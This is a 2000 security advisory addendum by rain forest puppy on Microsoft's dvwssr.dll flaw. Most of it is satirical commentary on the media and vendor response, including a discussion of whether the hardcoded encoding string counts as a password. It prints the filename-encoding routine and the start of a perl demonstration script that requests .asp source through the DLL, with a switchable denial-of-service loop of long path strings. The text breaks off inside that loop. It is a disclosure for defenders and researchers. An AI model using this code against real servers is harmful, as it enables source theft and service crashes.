-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathrfp2k03.txt
973 lines (691 loc) · 37.2 KB
/
rfp2k03.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
---------------- RFP2K03 -------------------------- rfp.labs -------------
Contemplations on dvwssr.dll and how it affects life
RFP2K02 Addendum: further information
------------------------------------- rain forest puppy / rfp@wiretrip.net
This advisory does contain new, technical information. However, it is
structured quite differently, and does contain a wealth of material. It
is your own decision whether you read it or not--I do not force you. I
only give you the option to listen to what I have to say.
A.K.A. don't bitch because it's long. Forewarning served.
--------------------------------------------------------------------------
In the words of Russ Cooper on NTBugtraq[1] on Fri:
"Ok, so let's deal with this." [1]
Couldn't have expressed it better myself.
So there I was sitting. An individual injecting permanent black dye into
my arm with a small electrical needle device, forming a tribal pattern
that will forever be on my arm. Half way through I started to wonder
'why'? And trust me, half way through a tattoo session is not a good time
to start wondering such things.
Why? Why do such things at all? What would others reactions be to it?
Why do I care what others think? Who else is there really?
Deep breath. A flood of Descartes enters my mind. What is there beyond
myself? How can I be assure of anything beyond me?
Quite simply, I can't. I can't tell anyone what it's like to be in
Microsoft's place, because I haven't been there. I don't know what it's
like to be a Netscape engineer and be called a weenie, because I'm not (a
Netscape engineer that is; the other is debatable).
I can not positively state for certain anything other than my own
perceptions, since I only know what, well, I have personally experienced.
So I can only talk of matters concerning me, as when I involve anything
beyond myself, I am making assumptions on its form, state, and the
perception it offers to me.
So I have observed the results of RFP2K02. Every nuance, every publically
spoken word on the subject I could find, I have considered, contemplated.
What does each contemplation involve? I review them to myself....
--[ The First: Contemplation on origin of the 'hype'
By far, one of the largest writings that has provided me with the most
contemplation was by Ivan Arce, Presidente of CORE-SDI[2]. After
reviewing my advisory, he commented:
"So these seems to be quite precise WRT possible attackers and
impact, the hype derived from the media coverage does not seem to
be part of RFP's agenda." [2]
So, I start to ask myself, where did the actual hype come from? So I
quest, searching, travelling past self doubt, skirting around fear,
stopping only at McDonalds for a #2 extra value meal (super-sized), when I
come across the original Wall Street Journal article by Ted Birdis[3].
Ah, yes, I think this is the place.
I can only guess to the process. My advisory provides a basis for the
problem. But if I was Ted, I would consider that a report from an
unconfirmed party. I am not Ted, but this is what I think he thought. I
would go straight to the source--Microsoft. Which, not surprisingly, he
did.
"The manager of Microsoft's security-response center, Steve
Lipner, acknowledged the online-security risk in an interview
Thursday and described such a backdoor password as "absolutely
against our policy" and a firing offense for the
as-yet-unidentified employees." [3]
Straight from the horses mouth. Proceeding to the other end of the
horse...
"Russ Cooper, who runs the popular NT Bugtraq discussion forum
on the Internet, estimated that the problem threatened "almost
every Web-hosting provider."
"It's a serious flaw," Cooper said. "Chances are, you're going
to find some major sites that still have it enabled." Lipner of
Microsoft said the company will warn the nation's largest Web-site
providers directly." [3]
Well, I found that interesting. While my advisory may have served as the
seed, it was not only confirmed by the direct party responsible, but
supported by a second opinion.
There's no doubt to me where the 'hype' came from. It's right there.
Lipner said "yep", and Russ said "it's widespread". How was anyone to
know they would change their minds later? So this was confirmed. And it
was Russ who hyped up the widespread appeal to this...I remind myself that
my advisory stated it was minimal at best.
Then the thought occured to me...Ted Birdis actually had a lead, took the
time to follow up with the primary party, and include a secondary opinion.
Both were in favor, so he reported it. Considering the quality (or lack
thereof) of other journalists, Ted actually researched this, and went on
admitted facts from primary sources. Kudos for Ted for actually reporting
a story correctly, using concrete journalistic practices. Unfortunately
for Ted, Microsoft and Russ changed their stories...but this is not Ted's
fault.
So, I wonder, where did Ted go wrong? I don't think he did.
--[ The Second: Contemplation on Russ Cooper's mighty morphing story
"A monk asked Yun Men, 'What are the teachings of a whole
lifetime?' Yun Men said, 'An appropriate statement.'"
- The Blue Cliff Record
So I sat, contemplating, when I wondered what Russ Cooper's view was on
the subject at hand. Then I asked myself "well, at what point in time?".
I was so confused, I had to make a timeline:
* Date: Fri, 14 Apr 2000 ????
"Russ Cooper, who runs the popular NT Bugtraq discussion forum
on the Internet, estimated that the problem threatened "almost
every Web-hosting provider."
"It's a serious flaw," Cooper said. "Chances are, you're going
to find some major sites that still have it enabled." Lipner of
Microsoft said the company will warn the nation's largest Web-site
providers directly." [3]
* Date: Fri, 14 Apr 2000 11:27:09 -0400
"[T]his is a hole that could allow information to be manipulated
by "others". However, its limited to "others" who already have web
authoring permissions on the same box." [4]
* Date: Fri, 14 Apr 2000 15:32:52 -0400
"Latest reports say that there is
NO VULNERABILITY IN DVWSSR.DLL" [5]
* Date: Sun, 16 Apr 2000 10:02:41 -0400
" >NO VULNERABILITY IN DVWSSR.DLL
While I felt right at the time, now we know that that statement
is clearly wrong." [6]
Ah, I now understand it much better; or, at least, it's easier to follow.
But my voices say to me, "why did it change?"
Why, indeed, I wonder. My voices are always interesting to listen to. My
mind wanders across the words of Russ...
"FYI, my comments to Ted Bridis of WSJ yesterday about the issue
were made with very little info (only the info he was supplied),
so for example my comment that this affects "almost every web
hosting provider" was based on the info that this was an issue
on machines with FP installed." [4]
Ah, indeed. Very good reasoning for a switch in stories, I believe. But
that begs another contemplation: why is Russ then serving to provide
comments and opinions on issues of which he as "very little info"? Is it
professional to hypothesize the extent of such problems?
I wonder if that would be considered contributing to the 'hype'?
No, I concluded. If *I* had said such a thing, then yes, it would be
directly contributing to the hype. But since an authority said such,
well, I would hope that it would help clear the waters, rather than muddy
them.
Yes, muddy. Indeed. I breathe in. I breathe out. I continue to
contemplate.
--[ The Third: Contemplation on demonstration perl code
"Even when I do things for the sake of others
No sense of amazement or conceit arises.
It is just like feeding myself;
I hope for nothing in return."
- Shantideva
Much to think about. Much to ponder. I will, so it seems, not be without
more contemplation. As such, I now ponder on more words of Russ..
"In my independent tests of a default installation of NT 4.0, IIS 4
(from the NT 4.0 Option Kit using the "Typical" installation
options), and SP4 (128-bit) I have been *unable* to reproduce the
Denial of Service. Every attempt to use the CORE-SDI script, or
variations of it, have resulted in a 401 - Unauthorized HTTP
error. The server continues to process requests as if nothing had
happened. The "Typical" installation installs FP98 extensions,
enables the default web site as a Front Page Web, and installs
the DVWSSR.DLL.
"Please note, I'm either doing something wrong (although several
different people have confirmed the same inability to exploit a
default installation) or some other modification to the default
installation must take place before you become susceptible to the
attack. I find some reassurance in the fact the script does not
seem to exploit a default installation, but of course I'm leery
since both CORE-SDI and Microsoft say its possible. I have so far
been unable to determine what exactly it takes for a site to be
vulnerable to this problem." [6]
This makes my head spin. Not work? Why, I wonder, can Russ not get the
exploits to work? Is it his lack of ability to be a script kiddie? Are
the scripts non-functional? Do his servers not love him?
I do not know, as I am not Russ (I can hear a giggle of relief ruffle
through the Hall of the Goddess as I say that). But, a spark of light
envolves within me...grows...grows...enlightenment.
If I wish to test the vulnerabilities using the included perl script,
I need to change the permissions to allow myself to use dvwssr.dll
anonymously.
What? The voices in my head scream "but that is not normal!". Yes, yes,
the included perl script is a *demonstration, not an exploit*. I recall it
implements the client side of dvwssr.dll, but it does not implement any
web authoring authentication, nor find a way to bypass the default
permissions.
Thus the reason Russ hits 401 'Not Authenticated' is because he is not
providing web authoring authentication. But is there a way around this
roadblock, a way to circumvent the bane of ACLs? I recall my own words...
"Also, the default permissions don't allow for anonymous users to
use the .dll--however, anyone with web authoring can, and I've
seen few sites that have allowed permission (which is more due
to a misconfiguration on their part)." [8]
So I did not speak in err, but perhaps I did not speak loud enough for
Russ to hear. Or perhaps Russ just failed to read my words at all. I do
not know.
But I do know, that if I wish to make dvwssr.dll anonymously usable, I
need to give 'Read' permissions on /_vti_bin/_vti_aut/ folder and
dvwssr.dll contained within the folder. Once I do that, the script will
work.
Alas, my imperfections surface. There's a bug in my original script that
keeps it from properly encoding filenames greater than 31 characters in
length (I should have made it 'my $kc=length($from)%31'). The fixed code
is below. I must accept and deal with my mistakes, firm in knowing my
imperfections take me farther away from Nirvana.
I sigh.
But I wonder, should I make a new demonstration, one that does implement
web authoring authentication? No, I will not be making a client script
that includes web authoring authentication; therefore, this code will be
of no use to me other than a controlled demonstration. But, demonstration
indeed, as it shows what is possible. But the possibilities in my
imagination are endless. In reality, they are limited. Thus the curse of
being in a mortal vehicle.
--[ The Fourth: Contemplation on passwords and encoding mechanisms
"[A] talent for speaking differently, rather than for
arguing well, is the chief instrument of cultural change."
- Richard Rorty
I do not understand. The words of Russ ring around my little puppy
head...
"THIS IS NOT A PASSWORD..." [7]
I'm in over my head. I must consult a master. So I walked over to my
shelf, and pulled the tome of tomes by the master sage himself, Bruce
Schneier [11]. "Ah", I thought, "this will hold the knowledge I need to
understand."
Chapter 1, page 1.
"The process of disguising a message in such a way as to hide its
substance is encryption"
Yes, I thought. Microsoft is trying to hide the filename. I recall that
Russ even state this himself:
"My information says that this string is used to obfuscate file
names requested via the dvwssr.dll." [1]
So they are using encryption (althought, I like to think it would be
better called 'encoding', but I'm just quoting the verse of the master
sage Schneier right now). I turn the page.
Chapter 1, page 2.
"Plaintext is denoted by M, for message, or P, for plaintext.
It can be a stream of bits, a text file, a bitmap, a stream
of digitized voice, a digital video image...whatever."
I wonder if master sage Schneier would include 'filenames' on his list?
Surely, I think, he meant to. Perhaps in an upcoming edition he could add
it.
I continue reading on the same page.
"Ciphertext is denoted by C. [...] The encryption function E,
operates on M to produce C. Or, in mathmatical notation:
E(M) = C
Wow, add a square (^2) in there and we'll almost have an Einsteinian
property.
"In the reverse process, the decryption function D operates on C
to produce M:
D(C) = M
Since the whole point of encrypting and then decrypting a message
is to receive the original plaintext, the following identity must
hold true:
D( E(M) ) = M
So I wonder to myself, "does the weenie algorithm hold true, as master
Schneier has stated is required?". I contemplate further:
I have a filename, which in this case would be the P (plaintext) or M
(message) I want to send to the server. I will use M to represent the
filename, because the letter P denotes connotations that are scary and I
don't want to deal with. Yes, much safer to use M.
So I have M. Now, it is apparant to me that the filename is 'disguised'
during transport. The client is responsible for disguising it, and the
server is responsible for dedisguising (is that a word, I wonder?) it.
Dvwssr.dll is the server portion, and they must take the disguised
filename, and produce the original version. So I conclude they must have
the functional equivalent of D(), thereby taking D(C) = M, my original
filename. My perl script take the original filename, and disguises it;
therefore, it implements E(M) = C. C is the gobbalty-gook (an
oft used technical term) ciphertext that is transfered between the
servers.
It is clear to me. The client implements a function E(), such that
E(filename) = encoded-filename; dvwssr.dll implements a function D(),
such that D(encoded-filename) = filename. According to master Schneier,
this is the foundation of encryption. Whew, I'm not barking up the wrong
tree. Even Russ seems to think so...
"...it contains the string because the client would obfuscate the
requesting page with it, send it across the wire to the server,
and then dvwssr.dll would de-obfuscate with the same string." [7]
I continue, Chapter 1, page 3.
"If the security of an algorithm is based on keeping the way
that algorithm works a secret, it is a restricted algorithm."
Who else knew about the details of the weenie encoding schema? I failed
to see it published anywhere. I would think that since only Microsoft
knew how it worked, it would be considered secret. But I digress, as this
being a restricted algorithm or not has no direct bearing on my
contemplation. I read.
"Even more damning, restricted algorithms allow no quality
control or standarization"
So that's what happened! No wonder this snuck through Microsoft's
QC. I press further.
"Despite these major drawbacks, restricted algorithms are
enormously popular for low-security applications. Users
either don't realize or don't care abut the security problems
inherent intheir system.
Modern cryptography solves this problem with a key, denoted by
K. This key might be any one of a large number of values."
While the master sage uses the literal term 'values', I remind my self
that a string, such as 'Netscape engineers are weenies!', being of
letters, is nothing more than values to a computer. But is the weenie
string a key? I must know. Further.
"Both the encryption and decryption operations use this key
(i.e. they are dependant on the key and this fact is denoted by
the K subscript), so the functions now become:
Ek(M) = C
Dk(C) = M
Those functions have the property:
Dk( Ek(M) ) = M
My neurons race. The value of C that E() produces is dependant on the
value of K (which I have denoted in my ASCII algorithm representation [tm]
as 'k', small, to indicate subscript). The value of M that D() produces
from C is dependant on K. For Dk(Ek(M))=M to work, both values of K must
match.
Let's look at the algorithm itself. I invoke the awesome power that is
perl.
sub encodefilename {
my $from=shift;
my $slide="ABCDEFGHIJKLMNOPQRSTUVWXYZ".
"abcdefghijklmnopqrstuvwxyz0123456789";
my $key="Netscape engineers are weenies!";
my $kc=length($from)%31;
my ($fv,$kv,$tmp,$to,$lett);
@letts=split(//,$from);
foreach $lett (@letts){
$fv=index $slide, $lett;
$fv=index $slide, (substr $slide,62-$fv,1) if($fv>=0);
$kv=index $slide, substr $key, $kc, 1;
if($kv>=0 && $fv>=0){
$tmp= $kv - $fv;
if($tmp <0){$tmp +=62;}
$to.=substr $slide, $tmp,1; } else {
$to.=$lett;}
if(++$kc >= length($key)){ $kc=0;}
}return $to;}
Now, I have a filename. The algorithm takes the difference between a
letter in the filename, and the letter in the weenie string, for each
letter in the filename. This generated value (which you can think of as
LETTER(weenie string) - LETTER(filename) ) is then turned back into a
resulting letter, which is the 'encoded' letter. To change it back, we
take the value of the encoded letter plus the letter of the weenie string
(or, LETTER(encoded string) + LETTER(weenie string) ), and this results
back in the same letter we originally had in the filename.
But I am over-simplifying. I must remind myself that the actual weenie
algorithm adjusts for values above 62 and below 0, etc. But in general,
this understanding is sufficient.
Now, for experimentation. I succumb to change; I morph
"Netscape engineers are weenies!"
to
"Microsoft engineers are weenies!"
And alas, it didn't work. I am stuck wondering to myself "is it because
the values of K do not now match, or is it merely a drawback of dvwssr.dll
not wanting to admit Microsoft engineers are weenies?". Perhaps
dvwssr.dll feared bad karma by using such a phrase. I will never know.
But I must consider, perhaps it *was* because the values of K do not
match. If I change both values to match, would it continue to work? From
the depths of my imagination, one of my voices (as I have many frequent
ones) says 'yes'. Yes. Yes, the weenie string functions as value K.
Yes, then the mathmatical property of encryption of Dk( Ek(M) ) = M does
indeed hold true.
I can feel it. I can feel it deep within, that the string "Netscape
engineers are weenies!" functions as a private key. But now, I wonder
of the terminology.
So I consult the great tome of master sage Schneier again. Unfortunately,
as I progress, the pictures become more complex. Ack, I fear, I might
have to read.
Thus I arrive at DES, the woeful algorithm that has recently fallen.
After days on contemplation, pages of notation, and hours of frustration,
I arrive at the concept of DES is such that (using the ASCII algorithm
representation [tm] used above):
Ek(M) = C
Dk(C) = M
Where K is the key, and E() and D() are the encrypting and decrypting
functions. In DES applications, I have commonly referred to K as the
'password'. I think others have to--but I am unsure about the concept of
'others'; I only know that of which is myself. So only I know that only I
thought of K as a password.
And now my memory sparks...the mathmatical notation of DES is exact of
that of the weenie algorithm, which is the notation for the basis of
cryptographic algorithms. And if DES calls K a 'password', then we might
be able to transliterate that same name for the K used in the weenie
algorithm.
But then an occurance comes upon me...'passwords' seem to be, to me, words
I type myself. They are definable by myself. I was not able to define
the string "Netscape engineers are weenies!". But is it a 'password?'
It serves the same function, K, as what we have called 'passwords'. But I
do not type it. I recall such things being referenced on full-disclosure
lists prior as being 'hard-coded passwords'. Perhaps it's one of those.
Perhaps it's a 'pass phrase'. Or maybe I should only think of it in the
cryptological terminology: that of a 'key'. But a 'password', in the
sense of DES, is also that of a 'key'.
So are all 'passwords' 'keys'? Are all 'keys' 'passwords'? How can
"Netscape engineers are weenies!" hold a value of K in the weenie
algorithm, and not be a 'password', but another string can hold the value
of K in the DES algorithm, and be called a 'password'? I am perplexed.
I am truly a small entity in a large world I do not understand.
I cry. I collect myself. I continue. And then I come across true
enlightenment...
"Elias Levy of SecurityFocus.com and Mark Edwards of
NTSecurity.net have both correctly pointed out that using the term
password to apply to that string is not beyond the realm of
understanding. The client component mtd2lv.dll and the server
component dvwssr.dll both need to know this value, and use it
correctly, for communications to work. If you try and talk directly
to dvwssr.dll and don't obfuscate your communication with the
correct "key", it won't understand you." [5]
Beautiful goddess! There within that scripture, my thoughts are justified
to myself. I push forth with new found confidence...
--[ The Fifth: Contemplation on reading files from a server
I quest for knowledge. I wish to absorb, to obtain all that is byteful,
consume all that is binary. I collect, amassing data, more and more,
filling memory, like a program with a malloc(3) leak.
I want files. Alas, the instruments of the guardians prevent me from
gaining them. ACLs, permissions, authoring, authentication...all are my
bane. I curse them all, just as I curse JP.
If I was to have web authoring permissions, I have access to my files.
But do I have access to the void, to the files that are not mine?
Only if the knowledge is suffixed with a .asp or .asa. This severely
limits my absorption of information. But, I wonder, to what extent and I
control the flow of this information?
It seems I can request files of '..' nature. My virtual hand can break
the constraints of what would be known as the 'root web directory'.
Surely web authoring wouldn't allow me to casually view files not in the
realm of all that is web?
I do not know. I just know it works. How dangerous this prospect is, is
not for me to judge, because I do not have this problem. I do not use
FrontPage. I do not mourn. I leave the judging to Russ Cooper, and judge
he did do, indeed.
--[ The Sixth: Contemplation on this being a problem
There are moments where time can stand still...where a second in my mind
is an hour in time. I can not control the passing of minutes; I am only
aware that what was now, is not any more.
And as I sat contemplating on a voyage of grand proportions, a scripture
did indeed materialize. The sages at CORE-SDI have found an
imperfection, a buffer overflow, in dvwssr.dll [12]. I look down,
noticing that these words reflect the ones I had just transcribed while
captivated in the belly of the beastly of beasts, on flight over the
glimmering Atlantic ocean.
I will not, and do not, deny the word of the master sages of CORE-SDI. I
struggle to hold back the envy that those words were published before my
own were.
I envy. I get over it. I provide the knowledge illustrated in perl,
appended to the end of this advisory.
But even this imperfections requires access. I wonder, is it a problem
then? Russ states
"Without proper and full permissions applied across virtual
servers on a given box, site leakage or manipulation by
others will always be possible in myriad ways." [5]
I wonder, then, why this vulnerability is not inclusive of the above
statement? Is it because it's doesn't allow a new method of exploitation?
Surely another path into the Nirvana is just as important as all previous;
why is it not, then, added to the list, to help enumerate the myriad of
ways? If there were three ways were, given misconfigured permissions on
virtual severs, why can't this be problem number four?
Have we reached the allotted maximum for ways in which we can abuse web
authoring permissions? Perhaps we should stop, then, lest we buffer
overflow...
Another voice rises from within. "If this is not a problem, then why is
Microsoft still recommending the deletion of dvwssr.dll? This actually
breaks functionality". Ugh...yes, the voice is right. I look upon the
words of the mighty Microsoft in aghast..
"To eliminate this vulnerability, customers who are hosting web
sites using any of the affected products should delete all copies
of the file Dvwssr.dll from their servers." [9]
Perhaps I do not understand the relationship of cause and effect. To
offer a fix is to admit to a problem. But if there is no problem, then
why have a fix? I wonder what they are fixing?
The words of Yarmond on Slashdot ring quite esosterically:
"Time for a new advertising campaign by Microsoft?
Don't try to fix the bug, for that is impossible. You must
realize the truth: there is no bug." [10]
In realizing the truth, my .asp files will be set free.
What is the problem? The words of the simplest of Nomads ring true in my
mind..
"The risks of having dvwssr.dll are not as severe as originally
reported in media outlets Friday morning, but still severe enough
that system administrators responsible for NT systems to
investigate. The risks involve whether or not a certain DLL is
loaded, how rights are set, and potentially how Front Page 98 is
used." [13]
Is it packaged, clear cut, and sexy, as I would like to have a security
vulnerability be? I believe not. But that is the issue, and the only
issue, if I narrow my vision to only see the issues of the software
itself.
I have overheard others.
"It's not a password, it's just a meaningless piece of data."
Yes, a meaningless piece of data that, when known and used correctly,
allow invoccation of the functionality of dvwssr.dll. The same can be
said for passwords, keys, etc.
"It's not a security vulnerability; it's just a bug."
I'm sorry, but how many security vulnerabilties are not bugs? And
apart from the buffer overflow, this .dll is functioning as designed and
intended. Where's the bug in that (obvious jokes withheld)?
"You need web authoring to exploit this, therefore, it doesn't matter."
And one needs passwords to gain access to servers...does that make
firewalls pointless? Do I not worry about local system security,
confident that my remotely accessible services are indeed secure?
Not to mention the facts and figures of 'insider attacks'. Who, exactly,
does my server grant web authoring privileges to?
--[ The Seventh: Contemplation on who doesn't have a clue
I have heard of the bird trying to teach a fish to fly, but I have never
witnessed a fish coaching a bird on flight. That is, until now.
In my stumblings, I encountered by chance an article on Computer
Reseller's News site by Imran Anwar [14]. What boggles me to no end is
the words:
"The CRN Test Center is currently examining a security hole in
Microsoft's FrontPage 98 Server Extensions that allows a hacker to
cause a web server to crash via denial of service attacks." [14]
A sales channel-centric publication is conducting security tests? Oh my,
I must sit down. It gets better...
"The Test Center is currently seeking the assistance of Microsoft
and anyone that can successfully demonstrate how the
security hole can be exploited." [14]
Another contemplation: should I offer to help? Why does it not work?
"The Test Center found a Perl script on the Web that appears to
have been authored by the same individual who originally
reported the flaw to Microsoft. However in attempting to execute
the Perl script, Test Center Engineers ran into syntax errors in
the script as well as un-resolved external references." [14]
There is definately something wrong in the moons tonight! A
sales-oriented, OEM/VAR magazine conducting security testing using a
script they found on the web, that is giving unresolved external
references? But then I see the script...
#!/usr/bin/perl# dvwssr.pl by LordRaYden :)) (neh, bij Rain Forrest Puppy)#
# Usage: dvwssr.pl target_host /file/to/retrieve/source#use
Socket;$ip=$ARGV[0];
$file=$ARGV[1];
.....
I'm befuddled. LordRaYden has graciously provided a version of my script
where the 'use Socket' line is commented out, along with some other
modifications. I am puzzled at all of this, yet, I feel some twinge of
amusement.
OEM/VAR sales magazines conducting security testing on vulnerabilties
using 4th-party modified exploits that don't work, and reporting on it.
My head hurts.
--[ The Eighth: Contemplation on the subliminal meanings and motivations
"If we're going to yell "Fire", then there should at least be a
real fire to point at."
- Russ Cooper [6]
Ah, indeed. A verse worth it's weight in gold. As I stood there, with
the image of the heated flicker of fire in my eyes, I observed where I was
pointing.
But I do not have my finger extended towards the leak of .asp knowledge.
I do not even have my finger extended towards the imperfection of buffer
capacity.
My finger is pointing to the fire that seems to be burning so bright, that
Russ is blinded to it.
It is not the vehicle that concerns me; it is not even the
destination...it is the journey itself. Thoughts of the Nietzschean
ideal of artistic science float around in my head.
I elaborate.
I'm not referring to the 'useless inclusion of a silly string meant to do
nothing'. I mean the fact that Microsoft can, does, and then attempts to
hide situations like this. I can not forget the original admittance of
fault. I only wonder if it was the legal or marketing department that
stepped in and caused the change in stance.
Then I see words that worry me, from Ivan Arce:
"Excuse me if im being rude, but in shocked by the fact that our
company is being questioned because we found a bug." [2]
And there are other words I have gathered, which I can't speak of at the
moment, but ring of similar tone. The fact that anyone *other than
Microsoft* is being implicated severely boggles my puppy mind.
The software of Microsoft, with the responsibilities and implications
wherein lying on the shoulders of vulnerability researchers.
I'm not going to tell you what it *is*, because I only know what I see.
But what I see is a mentality containing slander, coverup,
misorganization, and bias, and it is this same mentality that holds the
keys to many company's kingdoms.
I hope for nothing less than an angel for the one responsible for my well
being and the well being of my servers.
--[ The Ninth: Contemplation on the meaning of life
"What sound does a server make when it stops serving?"
- Trambottic
A hard contemplation, indeed. But I must ask myself, why ponder the
meaning of life? There are smaller nuances that are just as important;
for example, what is the meaning of potted meat food products?
I have always quested for the answer. The esosteric concept of
mechanically separating a chicken, and combining it with partially
dehydronated fatty beef tissue seems to be a great mystery worth
exploring, as much of a mystery as the meaning of life itself.
--[ The Tenth: Contemplation on the echos of the Slashdot
Many, many voices. Much enlightenment.
I recall only pieces...go to www.slashdot.org to view the crowd.
Re:I hope Microsoft SUES and WINS (Score:2)
by Azog (thoffman1 at hotmail) on Monday April 17, @12:23AM EST
Microsoft sent out TWO security notices regarding this DLL to
their security mailing list in the last couple of days.
I guess they are part of the irresponsible press and should sue
themselves, huh?
Bottom Line (Score:1)
by HiyaPower on Sunday April 16, @07:10AM EST (#198)
Unfortunately, the bottom line still stands. While it might be hard to
exploit this hole, the fact that it exists continues to raise serious
doubts about the Microsoft QC, and other, perhaps more intentional,
inclusions.
Re:Now that's professional... (Score:4, Interesting)
by Ron Harwood (harwoodr-AT-technologist.calm) on Friday
April 14, @06:02AM EST (#46)
Actually, the more I think about this, the more it irritates me.
Believe it or not, using Visual Interdev is a pretty standard thing with
not UNIX web-dev shops... and to come along and say - "oh yeah, we
screwed this up because it was funny" is just insane. I cannot fathom
what the programmers at MS are thinking.
And to say that "well, it doesn't affect 2000" is no better. I have to
ask at that point, "Why? Did you come up with something even funnier for
2000?"
Re:Not MS policy (Score:5, Insightful)
by Black Parrot on Friday April 14, @08:41AM EST (#221)
>Rather I think this was a case of coders doing something
>without the knowledge of the designers / policy makers or whatever.
Perhaps so. But does that make MS look better, or worse?
The MS web documentation (see link in my top-level post) indicates that
this file is the "gateway" that decides what incoming HTTP connects are
allowed to look at. If a rogue programmer can slip a backdoor into a
security module, what else is going on in other parts of the system?
With this landing in the middle of the investigations/accusations of
spyware that are now going on in France, the EU, and elsewhere, I
suspect that history will refer to this as the Easter Revelation that
killed closed source software.
To a French diplomat, it does not matter whether a backdoor was planted
by the NSA, Microsoft, or a rogue employee. What matters is whether
there are any backdoors in his software at all.
--
!pu dekcuf sreenigne tfosorciM
That's enough. I can futher ponder over the crowd of comments at my
leisure.
--[ Inspirational scriptures
Thanks to Neohapsis.com for letting me reference their archives.
[1] http://archives.neohapsis.com/archives/ntbugtraq/current/0040.html
[2] http://archives.neohapsis.com/archives/vuln-dev/current/0153.html
[3] http://www.zdnet.com/zdnn/stories/news/0,4586,2543490,00.html
[4] http://archives.neohapsis.com/archives/ntbugtraq/current/0035.html
[5] http://archives.neohapsis.com/archives/ntbugtraq/current/0042.html
[6] http://archives.neohapsis.com/archives/ntbugtraq/current/0045.html
[7] http://archives.neohapsis.com/archives/ntbugtraq/current/0041.html
[8] http://www.wiretrip.net/rfp/p/doc.asp?id=45&iface=2
[9] http://archives.neohapsis.com/archives/vendor/current/0010.html
[10] http://slashdot.org/article.pl?sid=00/04/16/003259&mode=thread
[11] Applied Cryptography, 2nd ed. - Bruce Schneier, 1996
[12] http://archives.neohapsis.com/archives/ntbugtraq/current/0044.html
[13] http://archives.neohapsis.com/archives/vuln-dev/current/0161.html
[14] http://www.crn.com/dailies/digest/breakingnews.asp?ArticleID=15872
--[ That of which is called 'perl'
#!/usr/bin/perl
# dvwssr.pl DEMONSTRATION by rain forest puppy
#
# rfp@wiretrip.net / www.wiretrip.net/rfp/
#
# usage: ./dvwssr.pl <target host> <file to request>
#
# example: ./dvwssr.pl localhost /default.asp
use Socket;
$ip=$ARGV[0];
$file=$ARGV[1];
print "Encoding to: ".encodefilename($file)."\n";
$DoS=0; # change to 1 to run the denial of service code
if($DoS==0){ # regular request
$url="GET /_vti_bin/_vti_aut/dvwssr.dll?".encodefilename($file).
" HTTP/1.0\n\n";
print sendraw($url);
} else {# denial of service - this is crud that I used to make it
# crash on accident. The code was for testing something
# else. I provide it as-is so you can reproduce exactly
# what I was doing.
for($x=206;$x>0;$x--){
$B='A'x $x;
$file="/$B/..".$file; print "$x ";
